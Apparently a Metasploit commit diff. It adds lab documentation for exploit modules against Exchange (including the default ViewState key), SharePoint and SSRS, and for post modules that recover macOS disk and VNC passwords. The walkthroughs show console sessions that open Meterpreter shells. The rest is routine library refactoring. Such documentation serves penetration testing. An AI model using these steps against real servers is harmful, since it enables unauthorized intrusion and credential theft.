The default ViewState validation key is: `cb2721abdaf8e9dc516d621d8b8bf13a2c9e8689a25303bf`.
This module requires the user to authenticate to Exchange. At a minimum the user
must be a member of the `Domain Users` group and have a mailbox configured on
the Exchange server.
The crafted ViewState must be submitted to the server in a GET request (POST
requests will not work) which introduces a size restriction on the contents. Due
to this, OS commands are limited to a length of approximately 450 which accounts
for the overhead of the serialization data. The OS command must also be XML
encoded which increases the size as well. The .NET deserialization used is the
"TextFormattingRunProperties" chain from the [ysoserial.net][1] project.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use exploit/windows/http/exchange_ecp_viewstate`
1. Set the `RHOSTS`, `USERNAME` and `PASSWORD` options
4. Do: `run`
5. You should get a shell.
## Options
### USERNAME
Username to log in with
### Password
Password to log in with
## Scenarios
### Exchange 2016 on Server 2012 x64
For example:
msf5 > use exploit/windows/http/exchange_ecp_viewstate
msf5 exploit(windows/http/exchange_ecp_viewstate) > set RHOSTS 192.168.159.129
RHOSTS => 192.168.159.129
msf5 exploit(windows/http/exchange_ecp_viewstate) > set USERNAME msflab.local\\jdoe
USERNAME => msflab.local\jdoe
msf5 exploit(windows/http/exchange_ecp_viewstate) > set PASSWORD Password1
PASSWORD => Password1
msf5 exploit(windows/http/exchange_ecp_viewstate) > set TARGET 1
TARGET => 1
msf5 exploit(windows/http/exchange_ecp_viewstate) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/http/exchange_ecp_viewstate) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf5 exploit(windows/http/exchange_ecp_viewstate) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Command Stager progress - 3.61% done (449/12424 bytes)
[*] Command Stager progress - 7.23% done (898/12424 bytes)
[*] Command Stager progress - 10.84% done (1347/12424 bytes)
[*] Command Stager progress - 14.46% done (1796/12424 bytes)
[*] Command Stager progress - 18.07% done (2245/12424 bytes)
[*] Command Stager progress - 21.68% done (2694/12424 bytes)
[*] Command Stager progress - 25.30% done (3143/12424 bytes)
[*] Command Stager progress - 28.91% done (3592/12424 bytes)
[*] Command Stager progress - 32.53% done (4041/12424 bytes)
[*] Command Stager progress - 36.14% done (4490/12424 bytes)
[*] Command Stager progress - 39.75% done (4939/12424 bytes)
[*] Command Stager progress - 43.37% done (5388/12424 bytes)
[*] Command Stager progress - 46.98% done (5837/12424 bytes)
[*] Command Stager progress - 50.60% done (6286/12424 bytes)
[*] Command Stager progress - 54.21% done (6735/12424 bytes)
[*] Command Stager progress - 57.82% done (7184/12424 bytes)
[*] Command Stager progress - 61.44% done (7633/12424 bytes)
[*] Command Stager progress - 65.05% done (8082/12424 bytes)
[*] Command Stager progress - 68.67% done (8531/12424 bytes)
[*] Command Stager progress - 72.28% done (8980/12424 bytes)
[*] Command Stager progress - 75.89% done (9429/12424 bytes)
[*] Command Stager progress - 79.51% done (9878/12424 bytes)
[*] Command Stager progress - 82.74% done (10279/12424 bytes)
[*] Command Stager progress - 86.15% done (10703/12424 bytes)
[*] Command Stager progress - 89.43% done (11111/12424 bytes)
[*] Command Stager progress - 92.91% done (11543/12424 bytes)
[*] Command Stager progress - 96.28% done (11962/12424 bytes)
[*] Sending stage (206403 bytes) to 192.168.159.129
[*] Command Stager progress - 99.84% done (12404/12424 bytes)
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.129:17626) at 2020-03-02 10:40:52 -0500
[*] Command Stager progress - 100.00% done (12424/12424 bytes)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : EXCHANGE
OS : Windows 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 9
Meterpreter : x64/windows
meterpreter >
[1]: https://github.com/pwntester/ysoserial.net
@@ -0,0 +1,78 @@
## Vulnerable Application
This module exploits a vulnerability within SharePoint and its .NET backend
that allows an attacker to execute commands using specially crafted XOML data
sent to SharePoint via the Workflows functionality.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use exploit/windows/http/sharepoint_workflows_xoml`
1. Set the target options (`RHOSTS`, `RPORT` and `SSL`) as appropriate
1. Set the authentication options (`DOMAIN`, `USERNAME` and `PASSWORD`) as appropriate
1. Do: `run`
1. You should get a shell
## Scenarios
### SharePoint 2019 on Server 2016
```
msf5 exploit(windows/http/sharepoint_workflows_xoml) > show options
Module options (exploit/windows/http/sharepoint_workflows_xoml):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKGROUP yes The domain to use for Windows authentication
PASSWORD Password1 yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.14 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to the SharePoint application
URIPATH no The URI to use for this exploit (default is random)
USERNAME administrator yes Username to authenticate as
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 192.168.159.14 no The target address
Exploit target:
Id Name
-- ----
2 Windows Powershell
msf5 exploit(windows/http/sharepoint_workflows_xoml) > exploit
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Started bind TCP handler against 192.168.159.14:4444
[*] Sending stage (206403 bytes) to 192.168.159.14
[*] Meterpreter session 3 opened (0.0.0.0:0 -> 192.168.159.14:4444) at 2020-03-23 18:11:44 -0400
meterpreter > sysinfo
Computer : SHRPNT2019-P
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : SHRPNT2019P
Logged On Users : 14
Meterpreter : x64/windows
meterpreter > getuid
Server username: SHRPNT2019P\Administrator
meterpreter >
```
@@ -0,0 +1,87 @@
## Vulnerable Application
This module exploits a .NET serialization vulnerability in the SQL Server
Reporting Services web application. The vulnerability exists within the a class
that will load serialized data submitted in a POST request. When processed this
data can lead to code execution within the context of the application which by
default is a service account.
An account is necessary in order to leverage this vulnerability. The request is
submitted using NTLM basic authentication. This account must be assigned at
least the "Browser" role on the site. This is the lowest privilege available and
simply allows the user to view folders, reports and subscribe to reports. To
authenticate as a domain user, set the `DOMAIN` option.
### Service Installation And Setup
Setting up a vulnerable environment for testing is best done by using a SQL
Server 2016 installation ISO which includes an offline installer for SSRS. Later
versions of SQL Server installation ISOs link to an online installer which will
install the patched version automatically.
When installing SQL Server 2016:
1. Select "New SQL Server stand-alone installation or add features to an
existing installation"
1. Later in the "Feature Selection" section, select "Reporting Services -
Native" under the "Instance Features" group
1. Proceed with the remainder of the installation per usual
After the server has been installed, it must be configured using the "Reporting
Services Configuration Manager" application. Ensure a database is selected and
created, that both the Web Services URL and Web Portal URLs are activated.
Finally, from the web interface, add accounts and privileges as desired.
Individual accounts can have privileges added by selecting "Manage Folder" and
adding them from this dashboard. **Do not use privileges dashboard available
from "Site Settings" to add the necessary privileges.**
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/http/ssrs_navcorrector_viewstate`
4. Set the `RHOSTS`, `USERNAME` and `PASSWORD` options
5. Do: `run`
6. You should get a shell.
## Scenarios
### SSRS 2016 on Server 2012 x64
msf5 > use exploit/windows/http/ssrs_navcorrector_viewstate
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set RHOSTS 192.168.159.141
RHOSTS => 192.168.159.141
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set USERNAME jdoe
USERNAME => jdoe
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set DOMAIN msflab.local
DOMAIN => msflab.local
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set PASSWORD Password1
PASSWORD => Password1
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > check
[*] 192.168.159.141:80 - The service is running, but could not be validated.
msf5 exploit(windows/http/ssrs_navcorrector_viewstate) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Command Stager progress - 24.99% done (2999/12002 bytes)
[*] Command Stager progress - 49.98% done (5998/12002 bytes)
[*] Command Stager progress - 74.96% done (8997/12002 bytes)
[*] Sending stage (206403 bytes) to 192.168.159.141
[*] Meterpreter session 3 opened (192.168.159.128:4444 -> 192.168.159.141:50376) at 2020-03-06 16:19:24 -0500
[*] Command Stager progress - 99.83% done (11982/12002 bytes)
[*] Command Stager progress - 100.00% done (12002/12002 bytes)
meterpreter > getuid
Server username: NT Service\ReportServer
meterpreter > sysinfo
Computer : SERVER2012
OS : Windows 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 10
Meterpreter : x64/windows
meterpreter >
@@ -1,7 +1,7 @@
This module uses a vulnerability in macOS High Sierra's `log` command. It uses the logs of the Disk Utility app to recover the password of an APFS encrypted volume from when it was created.
## Vulnerable Application
This module uses a vulnerability in macOS High Sierra's `log` command. It uses the logs of the Disk Utility app to recover the password of an APFS encrypted volume from when it was created.
* macOS 10.13.0
* macOS 10.13.1
* macOS 10.13.2
@@ -12,8 +12,6 @@ This module uses a vulnerability in macOS High Sierra's `log` command. It uses t
## Verification Steps
Example steps in this format (is also in the PR):
1. Start `msfconsole`
2. Do: `use post/osx/gather/apfs_encrypted_volume_passwd`
3. Do: set the `MOUNT_PATH` option if needed
@@ -22,7 +20,7 @@ This module uses a vulnerability in macOS High Sierra's `log` command. It uses t
## Options
**MOUNT_PATH**
### MOUNT_PATH
`MOUNT_PATH` is the path on the macOS system where the encrypted drive is (or was) mounted. This is *not* the path under `/Volumes`
@@ -1,17 +1,15 @@
## Vulnerable Application
This module shows Apple VNC Password from Mac OS X High Sierra.
The password can be set by visiting:
System Preferences > Sharing > Screen Sharing > Computer Settings
## Vulnerable Application
* macOS 10.13.6
## Verification Steps
Example steps in this format (is also in the PR):
1. Start `msfconsole`
2. Get an OSX meterpreter session running as root
3. Do: `use post/osx/gather/vnc_password_osx`
@@ -0,0 +1,89 @@
## Overview
This module downloads an embeddable Python3 distribution onto the target
file system, granting pentesters access to a lightweight Python
interpreter. This module does not require administrative privileges or
user interaction with installation prompts.
This is useful in cases where the in-memory python interpreter might
be limited. If you only want to run a python script while connected,
see https://github.com/rapid7/metasploit-framework/wiki/Python-Extension.
## Tested Version
This module has been tested against:
1. Windows 10, 1903
## Verification Steps
1. Start msfconsole
2. Get a Meterpreter session
3. Do: `use post/windows/manage/install_python`
4. Do: `set SESSION #`
5. Optional Do: `set PYTHON_VERSION`
6. Optional Do: `set PYTHON_URL`
7. Optional Do: `set FILE_PATH`
8. Do: `run`
## Options
**PYTHON_VERSION**
Specifies the Python version you would like to download. Downloads Python version 3.8.2 by default.
**PYTHON_URL**
Specifies the URL used to download the Python embeddable zip file.
**FILE_PATH**
Specifies the directory to place the Python embeddable zip file.
Places Python zip file in the current working directory by default.
**CLEANUP**
If true, this option will delete the Python zip file as well as its extracted contents. It will also terminate running processes with name 'python', as you cannot delete the Python interpreter if it is actively running.
## Scenarios
Get initial access: Create a Meterpreter exe using msfvenom, then transfer it to the target system via web server, SMB, etc. Execute the payload to get a session.
msf5 > handler -H 0.0.0.0 -P 4444 -p windows/meterpreter/reverse_tcp
[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 >
[*] Sending stage (180291 bytes) to 192.168.13.129
[*] Meterpreter session 1 opened (192.168.13.130:4444 -> 192.168.13.129:50069) at 2020-03-04 20:32:59 -0500
Use the post module to install Python on the target filesystem
msf5 > use post/windows/manage/install_python
msf5 post(windows/manage/install_python) > set SESSION 1
SESSION => 1
msf5 post(windows/manage/install_python) > exploit
[*] Downloading Python embeddable zip from https://www.python.org/ftp/python/3.8.2/python-3.8.2-embed-win32.zip
[+] Compressed size: 1112
[*] Extracting Python zip file: .\python-3.8.2-embed-win32.zip
[+] Compressed size: 952
[*] Ready to execute Python; spawn a command shell and enter:
[+] .\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
[!] Avoid using this python.exe interactively, as it will likely hang your terminal; use script files or 1 liners instead
[*] Post module execution completed
Verify Python works
msf5 post(windows/manage/install_python) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 2688 created.
Channel 5 created.
Microsoft Windows [Version 10.0.17763.1039]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\buddha\AppData\Local\Temp>.\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
.\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
Hello, world!
Note that running this Python interpreter interactively may hang your command shell.
+1 -1
View File
@@ -86,7 +86,7 @@ module Metasploit
when -5001 #kFPAuthContinue
return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,
:password => pass, :user => user})
when -5023 #kFPUserNotAuth (User dosen't exists)
when -5023 #kFPUserNotAuth (User dosen't exists)
return :skip_user
else
return :connection_error
+2 -2
View File
@@ -47,7 +47,7 @@ module Metasploit
# Returns randomized c source code.
#
# @param c_template [String]
#
#
# @raise [NotImplementedError] If the type is not supported.
# @return [String] The compiled code.
def self.generate_random_c(c_template, opts={})
@@ -63,7 +63,7 @@ module Metasploit
# Returns the binary of a randomized and compiled source code.
#
# @param c_template [String]
#
#
# @raise [NotImplementedError] If the type is not supported.
# @return [String] The compiled code.
def self.compile_random_c(c_template, opts={})
+1 -1
View File
@@ -90,7 +90,7 @@ module Metasploit
def to_credential
self.parent = self
self
self
end
# This method takes all of the attributes of the {Credential} and spits
@@ -6,7 +6,7 @@ module Metasploit
class DirectAdmin < HTTP
DEFAULT_PORT = 443
DEFAULT_PORT = 443
PRIVATE_TYPES = [ :password ]
@@ -25,7 +25,7 @@ module Metasploit
end
# Returns the latest sid from DirectAdmin Control Panel
# Returns the latest sid from DirectAdmin Control Panel
#
# @return [String] The PHP Session ID for DirectAdmin Web Control login
def get_last_sid
@@ -208,7 +208,7 @@ module Metasploit
result_opts.merge!(status)
when /^9\.x$/
status = try_glassfish_9(credential)
result_opts.merge!(status)
result_opts.merge!(status)
end
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
@@ -29,7 +29,7 @@ module Metasploit
# Returns the latest sid from MSP
#
# @param res [Rex::Proto::Http::Response]
# @param res [Rex::Proto::Http::Response]
# @return [String] The session ID for MSP
def get_sid(res)
cookies = res.get_cookies
@@ -31,7 +31,7 @@ module Metasploit
session_id = res.get_cookies.scan(/phpMyAdmin=(\w+);*/).flatten[0]
token = Rex::Text.html_decode(res.body.scan(/token"\s*value="(.*?)"/).flatten[0])
cookies = res.get_cookies.split[-2..-1].join(' ')
info = [session_id, token, cookies]
return no_connect if (info.empty? || session_id.empty? || token.empty? || cookies.empty?)
@@ -69,7 +69,7 @@ module Metasploit
def attempt_login(credential)
result_opts = {
credential: credential,
credential: credential,
status: LOGIN_STATUS::INCORRECT,
proof: nil,
host: host,
@@ -411,7 +411,7 @@ module Metasploit
# https://hashcat.net/wiki/doku.php?id=frequently_asked_questions#what_is_the_maximum_supported_password_length_for_optimized_kernels
# Optimized Kernels has a large impact on speed. Here are some stats from Hashcat 5.1.0:
# Kali Linux on Dell Precision M3800
# Kali Linux on Dell Precision M3800
## hashcat -b -w 2 -m 0
# * Device #1: Quadro K1100M, 500/2002 MB allocatable, 2MCU
# Speed.#1.........: 185.9 MH/s (11.15ms) @ Accel:64 Loops:16 Thr:1024 Vec:1
+115
View File
@@ -0,0 +1,115 @@
# frozen_string_literal: true
require 'pathname'
require 'tmpdir'
module Metasploit
module Framework
module Profiler
class << self
def start
return unless record_global_cpu? || record_global_memory?
raise 'Cannot profile memory and cpu at the same time' if record_global_cpu? && record_global_memory?
if record_global_cpu?
require 'ruby-prof'
results_path = tmp_cpu_results_path
profile = RubyProf::Profile.new
profile.start
at_exit do
result = profile.stop
save_cpu_result(result, path: results_path)
end
end
if record_global_memory?
require 'memory_profiler'
results_path = tmp_memory_results_path
profile = MemoryProfiler
profile.start
at_exit do
puts "Generating memory dump #{results_path}"
result = profile.stop
save_memory_result(result, path: results_path)
end
end
end
def record_cpu
require 'ruby-prof'
results_path = tmp_cpu_results_path
profile = RubyProf::Profile.new
profile.start
yield
result = profile.stop
save_cpu_result(result, path: results_path)
end
def record_memory
raise 'Cannot mix global memory recording and localised memory recording' if record_global_memory?
require 'memory_profiler'
results_path = tmp_memory_results_path
profile = MemoryProfiler
profile.start
yield
result = profile.stop
save_memory_result(result, path: results_path)
end
private
def record_global_cpu?
ENV['METASPLOIT_CPU_PROFILE']
end
def record_global_memory?
ENV['METASPLOIT_MEMORY_PROFILE']
end
def tmp_path_for(name:)
tmp_directory = Dir.mktmpdir("msf-profile-#{Time.now.strftime('%Y%m%d%H%M%S')}")
Pathname.new(tmp_directory).join(name)
end
def tmp_cpu_results_path
path = tmp_path_for(name: 'cpu')
::FileUtils.mkdir_p(path)
path
end
def tmp_memory_results_path
tmp_path_for(name: 'memory')
end
def save_cpu_result(result, path:)
require 'rex/compat'
puts "Generating CPU dump #{path}"
printer = RubyProf::MultiPrinter.new(result, %i[flat graph_html tree stack])
printer.print(path: path)
Rex::Compat.open_file(path)
end
def save_memory_result(result, path:)
require 'rex/compat'
result.pretty_print(to_file: path)
Rex::Compat.open_file(path)
end
end
end
end
end
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "5.0.78"
VERSION = "5.0.83"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+13 -15
View File
@@ -41,7 +41,7 @@ module Auxiliary
# Whether or not the exploit should be run in the context of a background
# job.
#
def self.run_simple(omod, opts = {}, &block)
def self.run_simple(omod, opts = {}, job_listener: Msf::Simple::NoopJobListener.instance, &block)
# Clone the module to prevent changes to the original instance
mod = omod.replicant
@@ -69,8 +69,8 @@ module Auxiliary
end
run_uuid = Rex::Text.rand_text_alphanumeric(24)
mod.framework.ready << run_uuid
ctx = [mod, run_uuid]
job_listener.waiting run_uuid
ctx = [mod, run_uuid, job_listener]
if(mod.passive? or opts['RunAsJob'])
mod.job_id = mod.framework.jobs.start_bg_job(
"Auxiliary: #{mod.refname}",
@@ -108,7 +108,7 @@ module Auxiliary
#
# The local output through which data can be displayed.
#
def self.check_simple(mod, opts)
def self.check_simple(mod, opts, job_listener: Msf::Simple::NoopJobListener.instance)
Msf::Simple::Framework.simplify_module(mod, false)
mod._import_extra_options(opts)
@@ -122,8 +122,8 @@ module Auxiliary
run_uuid = Rex::Text.rand_text_alphanumeric(24)
mod.framework.ready << run_uuid
ctx = [mod, run_uuid]
job_listener.waiting run_uuid
ctx = [mod, run_uuid, job_listener]
if opts['RunAsJob']
mod.job_id = mod.framework.jobs.start_bg_job(
@@ -165,19 +165,17 @@ protected
def self.job_run_proc(ctx, &block)
mod = ctx[0]
run_uuid = ctx[1]
job_listener = ctx[2]
begin
mod.setup
mod.framework.events.on_module_run(mod)
begin
mod.framework.running << run_uuid
mod.framework.ready.delete run_uuid
job_listener.start run_uuid
mod.setup
mod.framework.events.on_module_run(mod)
result = block.call(mod)
mod.framework.results[run_uuid] = {result: result}
job_listener.completed(run_uuid, result, mod)
rescue ::Exception => e
mod.framework.results[run_uuid] = {error: e.to_s}
job_listener.failed(run_uuid, e, mod)
raise
ensure
mod.framework.running.delete run_uuid
end
rescue Msf::Auxiliary::Complete
mod.cleanup
@@ -194,7 +192,7 @@ protected
return
rescue ::Interrupt => e
mod.error = e
mod.print_error("Stopping running againest current target...")
mod.print_error("Stopping running against current target...")
mod.cleanup
mod.print_status("Control-C again to force quit all targets.")
begin
+8 -10
View File
@@ -177,7 +177,7 @@ module Exploit
#
# The local output through which data can be displayed.
#
def self.check_simple(mod, opts)
def self.check_simple(mod, opts, job_listener: Msf::Simple::NoopJobListener.instance)
Msf::Simple::Framework.simplify_module(mod, false)
mod._import_extra_options(opts)
@@ -190,12 +190,12 @@ module Exploit
mod.validate
run_uuid = Rex::Text.rand_text_alphanumeric(24)
mod.framework.ready << run_uuid
ctx = [mod, run_uuid]
job_listener.waiting run_uuid
ctx = [mod, run_uuid, job_listener]
if opts['RunAsJob']
mod.job_id = mod.framework.jobs.start_bg_job(
"Auxiliary: #{mod.refname} check",
"Exploit: #{mod.refname} check",
ctx,
Proc.new { |ctx_| self.job_check_proc(ctx_) },
Proc.new { |ctx_| nil }
@@ -218,17 +218,15 @@ module Exploit
def self.job_check_proc(ctx)
mod = ctx[0]
run_uuid = ctx[1]
job_listener = ctx[2]
begin
job_listener.start run_uuid
mod.setup
mod.framework.running << run_uuid
mod.framework.ready.delete run_uuid
result = mod.has_check? ? mod.check : Msf::Exploit::CheckCode::Unsupported
mod.framework.results[run_uuid] = {result: result}
job_listener.completed(run_uuid, result, mod)
rescue => e
mod.framework.results[run_uuid] = {error: e.to_s}
job_listener.failed(run_uuid, e, mod)
mod.handle_exception e
ensure
mod.framework.running.delete run_uuid
end
return result
+2 -22
View File
@@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/base/simple'
require 'msf/base/simple/framework/module_paths'
require 'msf/base/simple/noop_job_listener'
module Msf
module Simple
@@ -150,9 +151,6 @@ module Framework
#
def init_simplified
self.stats = Statistics.new(self)
self.ready = Set.new
self.running = Set.new
self.results = Hash.new
end
#
@@ -174,6 +172,7 @@ module Framework
#
attr_reader :stats
#
# Boolean indicating whether the cache is initialized yet
#
@@ -183,31 +182,12 @@ module Framework
# Thread of the running rebuild operation
#
attr_reader :cache_thread
#
# {Set<String>} of module run/check UUIDs waiting to be kicked off
#
attr_reader :ready
#
# {Hash<String,Hash>} of module run/check results, by UUID. Successful runs
# look like `{result: check_code}` and errors like `{error: message}`.
#
attr_reader :results
#
# {Set<String>} of module run/check UUIDs currently in progress
#
attr_reader :running
attr_writer :cache_initialized # :nodoc:
attr_writer :cache_thread # :nodoc:
protected
attr_writer :ready # :nodoc:
attr_writer :results # :nodoc:
attr_writer :running # :nodoc:
attr_writer :stats # :nodoc:
end
+18
View File
@@ -0,0 +1,18 @@
require 'singleton'
module Msf
module Simple
class NoopJobListener
include Singleton
def waiting(id); end
def start(id); end
def completed(id, result, mod); end
def failed(id, error, mod); end
end
end
end
+2 -2
View File
@@ -44,7 +44,7 @@ module Auxiliary::Brocade
login_object
end
def brocade_config_eater(thost, tport, config)
# this is for brocade type devices.
@@ -104,7 +104,7 @@ module Auxiliary::Brocade
end
# snmp
# Example lines:
# Example lines:
# snmp-server community 1 $Si2^=d rw
# these at times look base64 encoded, which they may be, but are also encrypted
config.scan(/snmp-server community (?<snmp_id>[\d]+) (?<snmp_community>.+) (?<snmp_permissions>rw|ro)/i).each do |result|
+10 -10
View File
@@ -25,7 +25,7 @@ module Auxiliary::CRand
def initialize(info = {})
super
@randtbl =
[
# we omit TYPE_3 from here, not needed
@@ -38,7 +38,7 @@ module Auxiliary::CRand
-205601318,
]
@unsafe_state = {
@unsafe_state = {
"fptr" => SEP_3,
"rptr" => 0,
"state" => 0,
@@ -56,7 +56,7 @@ module Auxiliary::CRand
seed = 1
end
state[0] = seed
dst = 0
word = seed
kc = DEG_3
@@ -70,10 +70,10 @@ module Auxiliary::CRand
dst += 1
state[dst] = word
end
@unsafe_state['fptr'] = @unsafe_state['rand_sep']
@unsafe_state['rptr'] = 0
kc *= 10
kc -= 1
while (kc >= 0)
@@ -81,17 +81,17 @@ module Auxiliary::CRand
kc -= 1
end
end
# Emulate the behaviour of C's rand
# Emulate the behaviour of C's rand
def random_r
buf = @unsafe_state
state = buf['state']
fptr = buf['fptr']
rptr = buf['rptr']
end_ptr = buf['end_ptr']
val = @randtbl[fptr] += @randtbl[rptr]
result = (val >> 1) & 0x7fffffff
fptr += 1
if (fptr >= end_ptr)
@@ -105,7 +105,7 @@ module Auxiliary::CRand
end
buf['fptr'] = fptr
buf['rptr'] = rptr
result
end
+2 -2
View File
@@ -75,7 +75,7 @@ module Auxiliary::Juniper
end
# snmp
# Example lines:
# Example lines:
# set snmp community "sales" Read-Write Trap-on traffic version v1
config.scan(/set snmp community "(?<snmp_community>[a-z0-9]+)" (?<snmp_permissions>Read-Write|Read-Only)/i).each do |result|
snmp_community = result[0].strip
@@ -214,7 +214,7 @@ module Auxiliary::Juniper
cred[:private_type] = :password
cred[:service_name] = 'snmp'
create_credential_and_login(cred)
end
end
config.scan(/radius-server \{[\s]+(?<radius_server>[0-9\.]{7,15}) secret "(?<radius_hash>[^"]+)";/i).each do |result|
radius_hash = result[1].strip
+2 -2
View File
@@ -10,7 +10,7 @@ module Msf::DBManager::IPAddress
Rex::Socket.is_ipv4?(addr)
else
false
end
end
end
def ipv6_validator(addr)
@@ -20,7 +20,7 @@ module Msf::DBManager::IPAddress
Rex::Socket.is_ipv6?(addr)
else
false
end
end
end
def rfc3330_reserved(ip)
+1 -1
View File
@@ -70,7 +70,7 @@ module Msf::DBManager::Workspace
def delete_workspaces(opts)
raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil?
::ActiveRecord::Base.connection_pool.with_connection {
deleted = []
default_deleted = false
+22
View File
@@ -302,4 +302,26 @@ class PluginLoadError < RuntimeError
end
end
##
#
# This exception is raised if a payload option string exceeds the maximum
# allowed size during the payload generation.
#
##
class PayloadItemSizeError < ArgumentError
include Exception
def initialize(item = nil, max_size = nil)
@item = item
@max_size = max_size
end
def to_s
"Option value: #{item.slice(0..30)} is too big (Current length: #{item.length}, Maximum length: #{max_size})."
end
attr_reader :item # The content of the payload option (for example a URL)
attr_reader :max_size # The maximum allowed size of the payload option
end
end
+2 -2
View File
@@ -37,7 +37,7 @@ module Client
register_advanced_options(
[
OptString.new('DnsClientDefaultNS', [ false, "Specify the default to use for queries, space separated", '8.8.8.8 8.8.4.4' ]),
OptString.new('DnsClientDefaultNS', [ false, "Specify the default to use for queries, space separated", '8.8.8.8 8.8.4.4' ]),
OptInt.new('DnsClientRetry', [ false, "Number of times to try to resolve a record if no response is received", 2]),
OptInt.new('DnsClientRetryInterval', [ false, "Number of seconds to wait before doing a retry", 2]),
OptBool.new('DnsClientReportARecords', [false, "Add hosts found via BRT and RVL to DB", true]),
@@ -204,7 +204,7 @@ module Client
nameservers = datastore['NS'].split(/\s|,/)
end
invalid = nameservers.select { |ns| !Rex::Socket.dotted_ip?(ns) }
invalid = nameservers.select { |ns| !Rex::Socket.dotted_ip?(ns) }
if !invalid.empty?
raise "Nameservers must be IP addresses. The following were invalid: #{invalid.join(", ")}"
end
+1 -1
View File
@@ -16,7 +16,7 @@ module Common
MATCH_HOSTNAME = Rex::Proto::DNS::Constants::MATCH_HOSTNAME
Packet = Rex::Proto::DNS::Packet
end
end
end
+1 -1
View File
@@ -145,7 +145,7 @@ module Exploit::EXE
exe_init_options(opts)
plat = opts[:platform]
pl = opts[:code]
pl ||= payload.encoded
#Ensure opts[:arch] is an array
+3 -1
View File
@@ -136,7 +136,7 @@ module Exploit::Remote::Ftp
def connect_login(global = true, verbose = nil)
verbose ||= datastore['FTPDEBUG']
verbose ||= datastore['VERBOSE']
ftpsock = connect(global, verbose)
ftpsock = ftp_connect(global, verbose)
if !(user and pass)
print_error("No username and password were supplied, unable to login")
@@ -371,6 +371,8 @@ module Exploit::Remote::Ftp
(datastore['FTPDataTimeout'] || 1).to_i
end
alias ftp_connect connect
protected
#
+1 -1
View File
@@ -41,7 +41,7 @@ module Exploit::Remote::HttpClient
OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]),
Opt::SSLVersion,
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKSTATION']),
OptFloat.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']),
OptBool.new('HttpPartialResponses', [false, 'Return partial HTTP responses despite timeouts', false]),
OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false]),
+3 -3
View File
@@ -85,12 +85,12 @@ module Msf
# @return [Byte, nil] the extracted byte if success, nil otherwise
def extract_byte(io)
byte_raw = io.read(1)
unless byte_raw && byte_raw.length == 1
return nil
end
byte = byte_raw.unpack('C')[0]
byte
end
@@ -120,7 +120,7 @@ module Msf
unless ref && (ref == 'UnicastRef' || ref == 'UnicastRef2')
return nil
end
if ref == 'UnicastRef2'
form = extract_byte(io)
+2 -2
View File
@@ -156,10 +156,10 @@ protected
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
when nil, ''
comm = nil
comm = nil
else
raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid")
end
end
comm
end
+2 -1
View File
@@ -71,7 +71,8 @@ module ReverseHttp
OptString.new('HttpUserAgent',
